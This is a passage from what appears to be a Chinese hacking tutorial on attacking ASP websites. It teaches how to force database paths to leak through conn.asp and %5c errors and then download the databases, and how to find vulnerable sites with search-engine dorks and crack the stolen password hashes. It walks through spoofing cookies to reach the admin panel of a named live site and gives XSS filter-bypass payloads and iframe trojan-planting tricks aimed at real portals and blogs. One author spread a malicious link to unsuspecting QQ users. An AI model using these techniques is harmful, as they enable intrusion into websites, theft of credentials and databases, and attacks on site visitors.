这就是'or'='or'漏洞的利用方法,相对来说比较简单,是我们在入侵和渗透对方网络的时候常用的一种方法。这个的漏洞的发掘会在后面的代码分析中在解释,这里大家要学会怎么动手。
暴库漏洞攻击
在第一节的时候我们就接触了一下暴库这个漏洞。在前面我们就已经接触了注入漏洞,对于一般的黑客而言,注入不仅仅是为了得到网站后台的密码,更多的时候是为了得到 webshell。我来给大家解释一下什么是 webshell。webshell 就是一个 asp 或php 木马后门,黑客在入侵了一个网站后,常常在将这些 asp 或php 木马后门文件放置在网站服务器的 web目录中,与正常的网页文件混在一起。然后黑客就可以用 web 的方式,通过 asp 或php 木马
后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过 80端口传递的,因此不会被拦截。并且使用 webshell 一般不会在系统日志中留下记录,只会在网站的 web 日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。在得到 webshell 通常还会提升权限,最终控制服务器,这些在后面会详细的讲解。
相对于注入漏洞,暴库漏洞就更加的方便了,如果网站采用 ACCESS 数据库,那么暴库之后就可以得到数据库的绝对地址,从而顺利的把数据库下载下来,最后得到管理员的密码,不过一般是经过了 MD5 加密的,这在后面会说明,这里大家要明白就是。而如果采用的以脚本语言名为后缀的话,比如 asp、php 等,那么我们就可以直接往里面插入木马,直接得到 webshell,非常的方便。
常见的暴库漏洞有 conn.asp 方法和%5c 方法,如果你对上面的方法都没有听过也没有关系,下面我就来详细的讲解这两种方法。
conn.asp暴库法
这个暴库法我们先从 conn.asp 说起,conn.asp 暴库是一个很老的方法了,第一节也提到过。它是通过直接访问数据库连接文件 conn.asp 使服务器产生错误,通过服务器返回的错误信息信息提示从而暴出数据库的绝对地址。其实数据库连接文件不只是只有 conn.asp一个,名字是可以改的,这一点大家不要误会了,这里的 conn.asp 文件是代表数据库连接文件,至于 conn.asp 这个名字并不重要。我们在 Google 里输入“inurl:"conn.asp"”就可以搜索到非常多的存在暴库漏洞的网站,如图 2-64 所示,随便打开一个,就可以看到网站
的数据库地址,如图 2-65 所示。我们试着下载看看,如图 2-66 所示,数据库可以被下载。
图 2-64 搜索到的 conn.asp 暴库网站
图 2-65 存在暴库漏洞的站点
图 2-66 利用暴库漏洞下载数据库
可能有些朋友对数据库连接文件还是不太明白,这里我再解释一下。数据库连接文件就是对数据库调用的一个文件,里面包含了被调用数据库的路径及数据库名等等,比如我们调用 MSSQL 数据库的时候,那么还会含有 SQL 连接的用户名及密码等内容。另外数据库连接文件的名字并不都是 conn.asp,有的系统可能是别的名称,但大多数都是用 conn.asp,所以我们就把这类漏洞称为 conn.asp 暴库,更为准确的应该叫做数据库连接文件暴库漏洞。为什么直接访问数据库连接文件就能够暴出数据库的地址呢?这是因为数据库连接文
件与调用文件的相对路径出错了。相对路径就是相对于我们服务器管理 WEB 的根目录的路径,比如我们的 IIS 的根目录为 D:\wwwroot\,那么在这个目录下会有一个 inc 目录,这个大家可以去装了 IIS 就应该知道。现在我们要访问 inc 这个目录下的文件的时候我们只需要在浏览器中输入 http://127.0.0.1/inc 而不用输入 http://127.0.0.1/wwwroot/inc。这里的 inc 目录就是相对于 wwwroot 为根目录的一级目录,记着是相对于。而 inc 这个目录的绝对路径是 D:\wwwroot\inc,是一个二级目录,记着是绝对。
我们还是举个例子来实际说明吧,假设我们现在的 IIS 上架构了一套动力系统。动力的 conn.asp 放在根目录下的 inc 目录下运行。但是我们许多调用 conn.asp 的文件都是放在根目录下运行的,所以,考虑到执行目录的不同,在 conn.asp 文件中数据库的相对地址就写成了“数据库所在目录/数据库名”。在我们的动力系统中默认的 conn.asp 代码中有一条就是表示数据库的路径。当 conn.asp 被根目录下的其他文件调用时,它连接的是根目录中
data 目录下的*.mdb 文件,而当我们直接访问 inc 目录下的 conn.asp 时,根据 conn.asp中的内容,服务器就会去请求连接 inc 目录下的 data 目录那么相对路径就变成了 inc/data。但是我们的 inc 目录下并没有 data 这个目录和文件,所以服务器就会报错,如图 2-65 所示。
%5c暴库法
下面我们来谈谈%5c 暴库漏洞的利用,有一些网站,我们只需要在该网站的最后一个
“/”改成“%5c”就能够暴出它的数据库来,如图 2-67 所示。
图 2-67 得到网站数据库的绝对路径
为什么把“/”改成“%5c”就可以暴库呢?这和编码和 IIS 有很大的关系,下面就来看看他们是什么关系。大家可能还不不太明白%5c 是什么东西,其实%5c 就是 16 进制代码中的“\”。可是我们为什么不直接把最后一个“/”改成“\”呢?这是因为如果我们直接在浏览器中提交“\”的话,浏览器会自动把“\”转换成“/”,而我们提交“%5c”是不会被浏览器转换的,最后“%5c”给编译表示成了“\”。可为什么被编译成“\”就会出现暴库呢?大家还记得前面的 conn.asp 暴库吧,conn.asp 暴库是由于相对路径出错了,IIS 报错信息就暴出了网站的数据库,而我们的%5c 暴库恰恰相反,是由于绝对路径出错了而引起的暴库。
一般来说,在 conn.asp 中都有一句这样的代码:
dbpath=server.mappath("数据库地址"),其中 server.mappath 的作用就是把相对路径转换成绝对路径,只有经过它的转换,服务器才能够正确的读写数据。server.mappath 读取的绝对路径的方法是这样的,假设 IIS 的根目录为 D:\wwwroot,在这个目录下还有一个 bbs文件夹, 一个 ASP 文章系统就放在这个目录下面,这个系统的数据库路径是
database/data.mdb,那么 server.mappath 读取的路径就是为 IIS 根目录+相对路径,即为 D:\wwwroot\bbs\database\data.mdb。
通过第一章对服务器的介绍,大家应该还知道 IIS 还有一个叫虚拟目录的功能,我们还以上面的例子来说明,不过这次我们的 bbs 目录不是在 D:\wwwroot 下,而是在 E:\bbs。通过 IIS 虚拟目录的设置,我们仍然可以把 bbs 看成是在 wwwroot 下。不过这个时候我们的目录指向的是一个物理路径,IIS 为了解决虚拟目录也能够正常访问的问题,优先查询每一个目录是否指向了一个物理路径,而这种查询就是以“\”为标志的。
接下来就说说%5c 的暴库原理了。当 IIS 遇到了%5c,即当是“\”时,IIS 就以为遇到了一个虚拟目录,便停止向上面的文件夹解析了。比如, 网站的数据库是在 D:\ wwwroot\bbs\database\data.mdb , 而 当 遇 到 “ \ ” 后 就 会 被 解 析 成 D:\ wwwroot\database\data.mdb , 但是因为 wwwroot 目录下没有 database 文件夹和
database\data.mdb 文件,所以 IIS 就会报错,那么我们的目的就达到了。
暴库的常见问题和解决方法
在暴库的过程中,我们会遇到很多问题,特别是对于新手来说,下面是我收集到的一些常见问题及解决方法。
(1)、暴库的时候并不显示 XXXX 错误,而是 HTTP500 错误。对于这个非常的好办,是由于没有对 IE 浏览器进行设置而导致的。打开 IE 浏览器,在菜单的“工具”下找到“Internet
选项”,然后找到“高级”处把“显示友好的 HTTP 错误信息”前的“√”去掉,如图 2-68所示,应用之后就可以下载数据库了。
图 2-68 解决暴库的时候并不显示 XXXX 错误的问题
(2)、暴出的数据库是以 asp 结尾的,如图 2-67 所示,不过下载不了。其实以 asp 结尾的数据库也是可以下载下来的,我们把它的 URL 地址复制到比如讯雷的下载工具上就可以下载了 。不过也有的数据库中专门建立了一个防下载的表,里面写入一条错误的 ASP 代码,一般是<% nodownload %>,这个时候如果在把数据库的后缀改成 asp 就下载不了。
(3)、有的时候暴出的数据库中含有“#”号,也同样下载不了。前面我们说了%5c 其实就是
“\”的 16 进制的代码,同样的,我们这里也可以用“#”的 16 进制代码%23 代替“#”,这样数据库就一样可以下载了。
(4)、对于上面的 ASP 数据库,很多时候我们下载下来以后无法打开或者有的时候还需要密码。对于 ASP 数据库,我们只要把它的后缀改成 mdb 就可以了,至于需要密码在第一章介绍
ACCESS 数据库的时候大家已经知道 ACCESS 数据库有密码的功能。其实对于 ACCESS 数据库的密码是很容易破解的,在光盘里我已经给大家推荐了一款叫做 Access 密码破解终结的工具,非常的好用。对于 ACCESS 数据库,如果没有安装 office 软件,那么可以用辅臣数据库浏览器打开,在光盘中也收录了。
(5)、如果打开数据库后发现密码是 16 位或者 32 位的,那么就说明了这个密码是用了 MD5这个加密系统对密码进行加密了,对于 MD5 密码破解还是比较困难的,这里我给大家推荐 MD5Crack 这款 MD5 密码破解工具。同时还有一个在线破解 MD5 密码的网站 http://www.xmd5.com,这个网站所有常见的 MD5 密码,是破解 MD5 必备的武器,建议大家还是使用网站来破解。
(6)、数据库是.mdb 但是确下载不了,遇到这个情况可以用讯雷之类的工具下载,如果还不
行的话,那可能就是数据库位于服务器的虚拟目录中,对于这种情况是没什么办法的。
(7)、有的时候用%5c 暴库确显示“处理 URL 错误,请与系统管理员联系”。而用 conn.asp暴库的时候是一片空白。用 conn.asp 暴库的时候一片空白是因为 conn.asp 中加入了容错语句,而显示“处理 URL 错误,请与系统管理员联系”是服务器屏蔽了错误信息的显示,这个时候暴库就没什么用了。
cookies欺骗漏洞
现在很多系统为了方便我们访问网站,都使用了一个叫 cookie 的技术来避免我们多次输入用户名和密码等信息,而且这个 cookie 是一个文本文件,是存储在我们本地机器上的。
Cookies 是一小段的文本信息,它伴随着用户请求和页面在 Web 服务器与浏览器之间传递。用户每次访问网站的时候,Web 应用程序都可以读取 cookies 包含的信息。使用 cookies 能够达到网站认识你的目的。对于 cookies 的基础知识在第四章有非常详细的解释。
我们自己可以去查看自己电脑上的 cookie 文件,对于使用 windows 操作系统使用 IE浏览器的朋友通常可以在 C:\Documents and Settings\用户名\Cookies 目录中找到。如果不是这个目录可以利用 windows 自带的搜索功能搜索关键字 cookies 也可找到。既然是文本文件,那么我们当然可以修改上面的内容了。所以如果我们对里面的内容进行修改,比如把自己的信息改成别人的,那么我们访问的时候不就成了别人了,那样我们就冒充了别人进入了。这样就达到了欺骗的目的了,这就是非常著名的 cookies 欺骗漏洞。对于 cookies 欺骗漏洞形成的原因一般是对 cookies 验证不足而造成的。
在下面我将给大家讲解 cookie 欺骗攻击的步骤及方法,至于如何从代码中发现漏洞将在后面详细分析。
要查看本地计算机上的cookie我给大家推荐IEcookie View这款工具,用它来非常的方便,如图2-69所示,一打开它就可以看到本地计算机上所有的cookie文件。
图 2-69 IE Cookie 工具
我们可以点击BAIDUID这个文件,在图2-69中可以看到,单击鼠标右键出现两个选项一个是Properties另外一个是Edit the cookie' content,我们一般就用到这两个功能,在这里我们可以查看和修改其cookie值,而且cookie的各项值都已经给分开好了,修改起来非常的方便。如图2-70所示,从图中我们还可以看到BAIDU给我们的cookie的有效期为30年。
图 2-70 查看百度的 cookies
而对于利用 cookie 进行欺骗,那就应该用桂林老兵 cookie 的欺骗工具。这个提供了简单的浏览器功能,但同时提供了查看当前打开页面的 cookie 值和修改 cookie 的功能。比如我打开 BAIDU,如图 2-71 所示。
图 2-71 网页中查看 cookies 值
不仅打开了BAIDU的页面同时其cookie也看到了,如果要修改它的cookie值,那先应该单击一下cookies输入栏前的那把锁,单击之后会发现cookie输入栏内的颜色稍微变了下,由灰色变成白色了,这样就可以修改cookie了,等修改完了之后,在单击那把锁就把cookie
值给锁定了。
下面我就以我自己发现的心情网络投票系统的cookie欺骗漏洞来详细讲解cookie欺骗漏洞攻击的主要步骤。先利用google hack来搜索使用这个系统的网站,可以使用的关键字有:
1.function touvote(){window.open 2.formvote.submit();}" 3.formvote.action= 4.document.write (vote)
这些关键字可以非常准确的找到使用这个系统的网站,如图 4-72 所示,有 291000 项纪录也够多了吧。
图 2-72 搜索投票系统
我们用桂 林老兵 cookie 的欺骗工具随 便打开一 个网站, 我这里用 http://www.1ht0523.com/vote/index.点 asp 来举例,打开之后就可以看到网站的 cookie值,把 admin 和qx 都改成 admin=admin 和 qx=qx。修改后代码如下:
[MyBrowser] Cookies=admin=admin;qx=qx;cck_lasttime=1153188298890;cck_count=0; ASPSESSIONIDQQDAQQRR=MKEDFCCCDDFKMFMJDJDGKNKI
Address=http://www.1ht0523.com/vote/index.asp InjectAddress=http://www.hackerdown.com/down.asp?id=39&no=1{v} InjectCode=
现在用桂林老兵来进行Cookies欺骗了,把URL地址的文件改为step1.asp,这样顺利的登陆了后台,如图2-73所示。
图 2-73 进入后台
至于为什么这样改了之后就可以进入后台,将再后面的代码分析中会详细说明,我们从漏洞的本质上来分析。这里就是让大家对 cookies 有一个感性认识,知道怎么去利用
cookie 欺骗就可以了。
跨站漏洞
跨站漏洞攻击是目前脚本黑客下的一个主要攻击技术。跨站脚本是指在远程 WEB 页面的 html 代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到 CSS 或者 XSS 安全漏洞,通常指得是跨站脚本。
跨站漏洞产生的原因是由于程序员在编写程序时对一些变量没有做充分的过滤,直接把用户提交的数据送到 SQL 语句里执行,这样导致用户可以提交一些特意构造的语句 一般都是带有像 JavaScript 等这类脚本代码。在这基础上,黑客利用跨站漏洞输入恶意的脚本代码,当恶意的代码被执行后就形成了所谓的跨站攻击。一般来说对于人机交互比较高的程序,比如论坛,留言板这类程序都比较容易进行跨站攻击。 利用跨站漏洞黑客可以在网站中插入任意代码,这些代码的功能包括获取网站管理员或普通用户的 cookie,隐蔽运行网页木马,甚至格式化浏览者的硬盘,只要脚本代码能够实现的功能,跨站攻击都能够达到,因此跨站攻击的危害程度丝毫不亚于溢出攻击,下面我们就来了解一下跨站攻击的主要攻击形式。
原理这里就不再过多的讲了,在第四章会给大家非常详细的说明,毕竟跨站也是要有点语言基础的,这里给大家讲的目的是让大家初步认识跨站脚本以及怎么在一个网站中发现跨站漏洞,为了更好和更全面的让大家认识,这里我引用了三篇文章,第一篇是由王炜写的《一次跨站漏洞(XSS)的发掘》;第二篇是由非零解写的《163、sina、sohu 也玩跨站》;第三
篇是由我写的《再次挖掘中国博客网之跨站漏洞》。
一次跨站漏洞(XSS)的发掘
一、XSS 简介和原理
XSS(Cross Site Script)的全称是跨站脚本,是一种危害性很大的漏洞。为什么被称为跨站脚本呢?这是因为跨站脚本执行漏洞,是通过别人的网站达到攻击的效果,也就是说,这种攻击能在一定程度上隐藏身份。其实“跨站点脚本”这个词应该属于用词不当的情况,因为它不仅与脚本有关,而且它甚至不一定是跨站点的。所以,它就是一个在发现这种攻击时起的一个名字,并且一直沿用至今,故称为跨站脚本。Cross Site Script 第一个单词首位是 C,为什么写成 X 呢?这是因为 CSS 是层叠 样式表(Cascading Style Sheets)的缩写,为了避免混淆,所以用和 Cross 发音近似的 X 来代替。
跨站脚本漏洞的本质是 HTML 的注入问题,如果恶意用户的输入(比如昵称、评论、头像、E-mail 等)没有经过严格的筛选进入了数据库,并最后生成在显示给来访用户的页面中,那么用户访问该页面时,浏览器就会执行恶意用户所输入的 HTML 代码。
浏览器为什么会执行恶意用户输入的代码呢?这是由于浏览器的不足之处而造成的。浏览器的功能就是解释 Web 服务器发送过来的 HTML 代码,它无法分辩出哪些 HTML 代码应该解释执行,哪些只是数据内容(比如上面提到的昵称、评论、头像、E-mail 等)从而应该简单显示。如果恶意用户的输入部分符合 HTML 的语法规范,则在显示时,就会被浏览器自动解释成 HTML 代码。
如果被解释的恶意 HTML 代码只是如加粗<b>斜体<I>的格式标志符,那还对访问的用户造不成太大的危害,只是显示可能不正常而已,但是如果注入的恶意 HTML 代码是Javascript一类的脚本语言时,则大大的不同了。Javascript 有强大的功能,比如 Google 桌面搜索小工具、MSN 桌面搜索 Gadget 都可用 Javascript 和 VBScript 完成。不过还好,浏览器一般都有安全策略,限制未知网络对本地计算机的访问和破坏性操作,但跨站恶意注入的
Javascript 代码,已经可以在安全策略的允许范围内完成任意的功能了,如果利用浏览器的某些漏洞,绕过浏览器的安全策略,那么可以随意实现访问硬盘,执行代码的任意功能了,这就是常说的“挂马”了。
二、XSS 的探测和绕过过滤
在 可 输 入 区 输 入 script 代 码 , 比 如 在 用 户 的 简 介 中 输 入
<script>alert("test")</script>,打开用户页面,如果弹出如图 2-74 所示的窗口,那么,就有跨站漏洞了。
图 2-74 存在跨站漏洞
如果在简介输入区,显眼的<script>字符被过滤,可以试试利用已经存在的属性,如<img src=javascript:alert("test") >,可以一样的实现跨站的探测。进一步,如果 javasrcipt:
的关键字也被过滤了,那么可以试试 ASCII 码的表示方法,将 javasrcipt:转换成一些 16进制的值,比如:
<img src="javascript:alert(/xss/)">或者添加空格,tab,比如
<img src="javas????cript:alert(/xss/)" width=100>还可以用事件和属性避免关键字,绕过监测,比如
<img src="#" onerror=alert(/xss/)>
<img src="#" style="Xss:expression(alert(/xss/));">
值得一提的是,yahoo mail 的跨站漏洞,是由如下的语句造成的。
<STYLE onload=alert('cookes exploit!');alert(document.cookie)">
在 RSnake 那篇著名的论文 XSS cheatshet ESP: for filter evasion 里面,详细总结了能绕过过滤的属性和方法。在实际中,获得绕过过滤实现跨站方法,最好是输入一些测试
script 语句,看生成的页面中转换后的 HTML 代码,如果 script 语句被替换不能执行,则打开观看生成页面的 HTML 代码,可以发现某些关键字转化的过程,然后想法使用其他关键字绕过。如果网站程序有源代码,那更好啊,清楚的知道了转换的过程,就可以想法构造出更好的绕过过滤办法。
三、一个无源码网站跨站漏洞的发掘实例
有一个自己经常上的网站,不知道它的源代码也不知道是否作了跨站防范,如何绕过过滤,找出其跨站漏洞呢?首先应该详细的查看网站结构,特别注意那些会显示到页面上的用户输入数据。经过观察发现,用户输入的某些个人信息会生成页面被其他用户浏览,这些信息包括 E-Mail,昵称,简介等,如下图 2-75 所示。
图 2-75 输入跨站测试代码
由于其他用户查看某人的信息时,只能看到 E-Mail,昵称和简介,所以我们在 E-Mail,昵称,简介栏中都输入<img src=javascript:alert("test") >进行测试,如果存在跨站漏洞,则会在浏览用户信息时,弹出一个含有“test”的对话框。
好,点击更新按钮,提示信息更改成功,如图 2-76 所示。
图 2-76 跨站代码成功提交
再进入用户信息查看页面,嗯?没有预想中弹出对话框的效果,javascript 代码都在那里好好的躺着呢,而且昵称还有长度限制,使得名字的显示非常怪异,如图 2-77 所示。
图 2-77 存在跨站,但被限制了
这究竟是怎么回事呢?解铃还需系铃人,点击右键,查看源代码,“代码面前没有秘密”,一看便知道了。原来小于号“<”,大于号“>”,和空格都被替换了,分别被替换成了< 和>。也就是说,原来输入的代码
<img src=javascript:alert("test") >都被替换成了
<img src=javascript:alert("test") >
这当然不会被浏览器认为是 script 代码了,数据只好老老实实的显示了出来。首次尝试失败。这可怎么办呢?难道就不能利用了吗?不要急,注意看 Email,表现出了超链接的形式,链接的内容是什么呢?再打开源代码,找到 Email 一项,如下:
<a href="mailto:<img src=javascript:alert("test") >"> <img src=javascript:alert("test") ></a>
哈哈,得来全不费功夫,超链接为<a href => </a>的语法格式,可以发现,超链接 href=的 值 为 "mailto:<img src=javascript:alert("test") >" , 这 里 面 的 <img src=javascript:alert("test") >是我们原原本本输入的内容,没有任何的改变,既然没有改变,我们只要想办法将前面的<a 和 “mailto 引号闭合,后面的脚本代码就可以起作用了。闭合从内到外的一个一个的来,首先是"mailto:需要加个双引号闭合 mailto 前的双引号;然后是<a,需要有个大于号>来闭合;最后超链接还需要一个结束标志</a>,后面就可以接我们的 script 代码了。
合起来,就应该构造输入如下:"></a><img src=javascript:alert("test") >。再解释一下这样输入的原因。第一个引号"闭合"maito 的左引号;然后>闭合<a;而</a>闭合<a href=”
mailto:”>这个超链接。后面的<img src=javascript:alert("test") >就是我们要执行的
script 代码了,好,使用新构造的数据更改用户信息中的 Email,保存后再查看用户信息页面,啪,弹出了我们想要的 script 对话框,跨站漏洞发掘成功,如图 2-78 所示!
图 2-78 跨站代码被执行
在这里, 即时不使用</a> 闭合超链接标志<a> ,也可以成功,即只用输入"><img src=javascript:alert("test") >,也会成功弹出对话框如图 2-79 所示。
图 2-79 跨站代码又执行了
只不过 Email 的显示还是超级链接的形式而已,但这不妨碍跨站的使用,还可以减少占用的字数,这往往是能否成功利用跨站漏洞的关键。发掘出跨站漏洞以后,可以做很多事情,前面说过,凡是在浏览器安全控制策略范围内的操作,都可以成功。所以,跨站的利用“只有想不到,没有做不到”,基于源码的漏洞分析和漏洞利用的思路,以后有机会我们再进一步讨论吧。
编辑点评:很系统的一篇跨站文章,从理论到实例分析一应俱全,小菜们是否学会了跨站的挖掘方法呢?但是要想成为跨站高手,是一定要通 js 脚本的。
163、sina、sohu也玩跨站
一、163 之行
某日看见一篇写到 XX 联盟上有跨站的文章,偶于是有了个想法,去看看那些门户网站有没有跨站的漏洞。我比较喜欢 163,一进去就去看看新闻。一不小心发现了新闻评论的地方,随手 在评论的 地方输入 一个字母 ,按下提 交,页面 就转 到 了 http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1
%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少 4 个文字。有希望了,把地址改 成 http://comment.*****.163.com/error.jsp?msg=<script>alert('by 非 零 解
');</script>,呵呵,这时候弹出一个窗口,如图 2-80 所示,跨站成功!
图 2-80 跨站成功
我有个朋友要买手机,他叫我随便在网上帮他查一下价格。既然来啦,就去手机频道看看,手机还没看好,却看见了又一个发表评论的地方。又在评论处发表一个字母,网页转到另 一 个 页 面 http://comment.*****.163.com/error.jsp?msg=%C4%DA%C8%DD%CC%AB%B6%CC%A3%AC%D6%C1
%C9%D9+4+%B8%F6%CE%C4%D7%D6,提示错误: 内容太短,至少 4 个文字,没办法,想不跨站就 不 行 啊 。 在 http://comment.*****.163.com/error.jsp?msg= 后 面 再 加 上
<script>alert('by 非零解');</script> 成功跨站。后来发现 163 下面的很多分站的评论地方都有跨站的地方,就不一一地说出来了!
二、新浪跨站
首先进入我眼线的是世界杯,看了两则最新的新闻后,就想到 163 里面的跨站,发评论。发一个字母,一般的情况下,为了避免灌水都要提示错误的,晕,它直接显示出来了。那我直接在评论地址上加<script>alert('by 非零解');</script>,错误提示出来啦, http://comment.*****.sina.com.cn/comment/error.html?auto_refresh=0&msg= 参 数 错误,难道它过滤了吗?再试一下呢?我在网址中=的后面改成<script>alert('by 非零解 ');</script>。提交,弹出了一个窗口,如图 2-81 所示,跨站成功了!同样象 163 那样, sina的很多有评论的地方也能跨站。
图 2-81 跨站成功
三、Sohu,发现另类挂马
在 sohu 里找跨站实在是不好找, 找了半天发现一个关于订阅 RSS 的页面 http://tb.sogou.com/rss?ch=it 。 把 网 址 it 的 内 容 替 换 成
<script>alert('test');</script>, 好象页面没有发生变化。查看源码看到:<iframe c="http://tb.<script>alert('test');</script>.sohu.com/rss-channel.html" scrolling="no" frameborder="0"height="0" width="0"></iframe>
原来<script>alert('test');</script>被 iframe 当作网址的一部份使用了。如果把 iframe标 签 闭 合 呢 ? 提 交 http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</script>< , 弹 出
test 的窗口,跨站成功,如图 2-82。
图 2-82 跨站成功
既然是把ch 后面的内容作为框架把http://tb.***.sohu.com/rss-channel.html 的页面
嵌入到此页面中。那么是不是可以把一个 http://tb.com 的网站内嵌进去呢?提交: http://tb.sogou.com/rss?ch=com">,如图 2-83 所示,http://tb.com 被内嵌到下载的页面上方。呵呵,这样很明显了,可以挂马。
图 2-83 发现挂马
假如 tb.com 的网站里面放着网页木马,或者有一个二级域名 tb.***.***的网站的话,就可以把网址发给别人,一般看见是 sohu 的网址都不会怀疑里面有木马。
我测试过,把 http://tb.sogou.com/rss?ch="></iframe><script>alert('test');</s cript><发在 qq 群上说 sohu 有跨站,大家快去看看。点击率还是比较高的,而且大部分人并没有察觉哟什么不对劲的地方,因为他们成功看到了跨站,嘿嘿!
编辑点评:在 url 里跨站是比较容易的,毕竟 ie 地址栏本身就带有执行 js 命令的功能,如: javascript:alert(document.lastModified)。但是 sohu 的最后一个跨站构思还是很巧妙的。
再次挖掘中国博客网之跨站漏洞
一、引言
中国博客网是目前国内一家非常大的博客提供站点,提供的博客也是服务非常的完善,所以我自己的博客也是采用他们的。在很早之前我就发现了他们的一个跨站漏洞,因为当时比较忙,没多少时间去测试另外的漏洞,所以就给中国博客网的客服部发了一封邮件就了事了。再之后我就把这件事给忘了。但是在浏览上期杂志的时候突然发现有人写了这个漏洞,当时我非常的气愤,那个漏洞居然还没有补上。于是我决定再次测试其安全性。中国博客网提供几种博客服务,如情侣博客、个人博客、企业博客等等,因为本人使用的个人博客,所以就用个人博客来作为测试对象。
二、挖掘
博客对每篇日志都提供评论的功能,用户只要主页、留言、认证码就可以了,如果在没有登陆的情况下,呢称是由访客加上由一个六位数随机函数提供的一个名称,图 2-84 所
示。虽然是由系统提供的呢称,但是确可以随便修改。在所有的输入框中输入<zyh>,图 2-85所示。利用这个技巧可以很快确定是否存在跨站漏洞。至于中间的 zyh 是偶名字的开头的三个字母,可以随便修改。我们来看看返回客户端的代码:
.................省略代码
<a href="<zyh>" class="x-blue" target="_blank"><zyh>(访客)</a>
</span>- 2006-11-11 9:44:32</td>
<td width="60">
</td>
<td width="60"></td>
</tr>
</tbody>
</table>
<TABLE w idth="98%" b order="0" ali gn="center" c ellPadding="0" cellSpacing="0" class="margin-top" id="Table14">
<TBODY>
<TR>
<TD style="word-break:break-all"> <zyh>
</TD>
</TR>
.............省略代码
可以看到在第二个 zyh 中没有过滤<和>,即呢称处没有过滤参数。那么就可以用来跨站了,如图 2-86 和图 2-87 所示。
图 2-84
图 2-85
图 2-86
图 2-87
对于日志提供了一个类别分类功能,不同的文章可以划分到不同类别中。在在后台中可以自己添加不同的类别。但是类别名处我们可以输入任何数据,如图 2-88 所示。在添加
类别后就会生成分类代码,如图 2-89 所示,下面就是在我输入<script>alert(类别管理跨站)</script>后的部分代码:
<table width='100%' align=center>
<tr>
<t d align='left'>
< a href=index.html>首页</a>
</td>
</ tr>
<tr>
<t d align='left'>
< a href=index.html?tp=<script>alert(类别管理跨站)</script>>类别管理跨站</a>
</td>
</ tr>
<tr>
<t d align='left'>
< a href=index.html?tp=<script>alert(hah)</script>>jhj</a>
</td>
</ tr>
</table>
我们的跨站代码没有得到转换,不过被屏蔽了,所以要避开那些标签的封锁,所以把原来的跨站代码改为><script>alert(类别管理跨站)</script><a 就可以绕过封锁了,如图 2-90所示,就可以实现跨站。
图 2-88
图 2-89
图 2-90
博客提供一个网摘的功能,可以在后台自己编辑网摘。如图 2-91 所示,我在地址、标题、描述、TAGS 上都输入图片跨站代码,提交后就可实现跨站了,如图 2-92 所示。
图 2-91
图 2-92
在我们申请博客时要求填写博客的标题,如图 2-93 所示,还可以后台修改博客自己的标题。我这里用的申请的标题,在标题中输入跨站代码,那么在每次打开博客时都会出现跨站效果,如图 2-94 所示。
图 2-93
图 2-94
中国博客网的功能确实比较丰富,比如对于博客的首页,用户可以自己修改,而且提供可视化编辑、代码编辑、选择模块三种方式。对于代码编辑就是把首页的代码全部显示出来,如图 2-95 所示。而且用户可以自己修改任何代码。这可是一个在安全上比较的隐患。比如在代码中间我插入代码<iframe fram eborder= 0w idth= 300 h eight= 300 scroll ing=no src=http://www.baidu.com></iframe>,那么就可以实现挂马了,如图 2-96 所示。
图 2-95
图 2-96
在图 2-95 中我们还可以看到有一个音乐盒子的功能,即在首页中增加音乐的功能。
我们可以在后台添加音乐,如图 2-97 所示。提交后就可实现跨站了,如图 2-98 所示,而且这个跨站最有意思。我们在添加跨站音乐后,那么只要人打开我们的博客,音乐就会运行。而这个时候的音乐是跨站,所以只要打开首页就会出现跨站的死循环,关闭跨站后又弹出来。出现跨站死循环。
图 2-97
图 2-98
博客提供三种友情链接方式,文字链接、图片链接、LOGO,如图 2-99 所示。而且这三种方式都存在跨站漏洞。不过这里需要绕过一些标签,这里用文字链接作为例子来说明。下面是输入<链接>后返回的代码:
<Td align=center width='8%'><strong>No.1</strong></td>
<td class="main_bg"><a href= '<链接>' target=_blank><链接></a>
<a href= '/createfiles/bookmark_editNew.asp?id=11235691'>[编辑]</a> <a href= '/createfiles/boo kmark_delNew.asp?id=11235691&d_tp=2'>[删除]</a>
..............省略代码
<tr><Td align=center width='8%'><strong>No.1</strong></td>
<td class="main_bg"><a href= '<链接>' target=_blank>
<img src='<链接>' border=0 alt='<链接>'></a>
可以看到只有一个地方把<和>进行转换了,其他的地方都没有转换,只是被标签给封住了。比如第一个链接可以输入'<script>alert("链接跨站")</script><'来绕过,就可实现跨站了,如图 2-100 所示。
图 2-99
图 2-100
三.总结
对于中国博客网,我的印象一直是非常优秀的,不然我也不会用他们的博客,同时欢迎大家访问我的博客,地址是:http://zengyunhao0.blogcn.com。通过这次挖掘,我没想到他们的系统居然存在那么多的问题,安全性如此的脆弱。对于跨站我们还可以做很多事情,如偷
COOKIES、挂马等等。如果当初他们重视我的邮件的话,也许今天就不会出现如此多的问题了,看来国内计算机的从事人员的安全意识还是有待提高。
注入漏洞
在我们这么多的脚本黑客中,注入是最主要的攻击技术之一,是目前最为活跃的攻击手段。很多朋友对注入的定义应该还不是太熟悉,下面给引用来自官方的对注入漏洞的定义:当应用程序使用输入内容来构造动态SQL 语句以访问数据库的时候,就会发生SQL 注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生 SQL 注入攻击。SQL 可能导致攻击者能够使用应用程序登陆,并在数据库中执行命令。如果应用程序使用过高的账户连接到数据库,这种问题会变的很严重。
上面官方的解释比较书面化,SQL 注入漏洞发生的前提就是我们能够构造 SQL 语句来访
问数据库,也就是说要有数据与数据库交互的地方才可能会发生 SQL 注入攻击,而这里的这个数据就是我们提交的数据。而存储过程说白了一些数据库语句,能够完成一些特定功能,对于存储过程的更多的内容在第五章会有非常详细的解释。
